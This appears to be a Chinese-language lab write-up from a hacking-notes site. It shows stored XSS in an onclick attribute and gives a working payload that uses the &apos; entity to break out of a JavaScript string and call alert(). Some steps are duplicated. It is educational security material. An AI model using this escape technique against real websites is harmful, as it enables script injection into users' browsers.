> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/stored-xss-in-onclick-with-full-encoding.md).

# 带完整编码的 onclick 中的存储型 XSS

### 存储型 XSS 注入到 onclick 事件中，尖括号和双引号经过 HTML 编码，单引号和反斜杠被转义

该实验室在评论功能中包含一个存储型 XSS 漏洞：某个字段（name/author/website）的值会被重复使用在一个 `onclick` 属性中，并经过编码—— `<` 和 `>` 尖括号和双引号会进行 HTML 编码，而单引号和反斜杠会被转义。

目的：提交一条评论以执行 `alert()` 当点击作者姓名时执行。

<figure><img src="/files/824ef6882fa2cf7ab26c68a9769d24c7c512a05c" alt=""><figcaption></figcaption></figure>

在 `网站` 页面会在该区域注入类似如下内容：

```javascript
onclick="var tracker={track(){}};tracker.track('http://test.com');"
```

单引号表示为 `&apos;` 实体。例如：

```javascript
&apos;
```

* 当 `HTTP://hack.com&apos;test` 被发送到 `&apos;` 页面时会被作为撇号处理（因此该引号在 DOM 端是存在的）。

```javascript
<p>It&apos; a wonderfull day </p>
```

<figure><img src="/files/d4808baf31ca877f2265cc83d097e63ce80869e2" alt=""><figcaption></figcaption></figure>

* 利用这样一个事实： `&apos;` 会变成撇号，从而打断 JavaScript 字符串，并注入一个计算/拼接表达式来调用 `alert()`.

<pre class="language-javascript"><code class="lang-javascript"><strong>HTTP://hack.com&#x26;apos;test
</strong></code></pre>

* 当 `HTTP://hack.com&apos;test` 被发送到 `&apos;` 页面时会被作为撇号处理（因此该引号在 DOM 端是存在的）。

<figure><img src="/files/a3f305e88f7ef9a4caaf85fb7444e38dfcb983f9" alt=""><figcaption></figcaption></figure>

* 利用这样一个事实： `&apos;` 会变成撇号，从而打断 JavaScript 字符串，并注入一个计算/拼接表达式来调用 `alert()`.

```javascript
http://hack.com&apos; + alert(0) + &apos;
```

<figure><img src="/files/6870ae075684ef9c1e5378760d3d68db95e133e0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2f8faad1363d6860bdb6ca590f8566198352824b" alt=""><figcaption></figcaption></figure>


---

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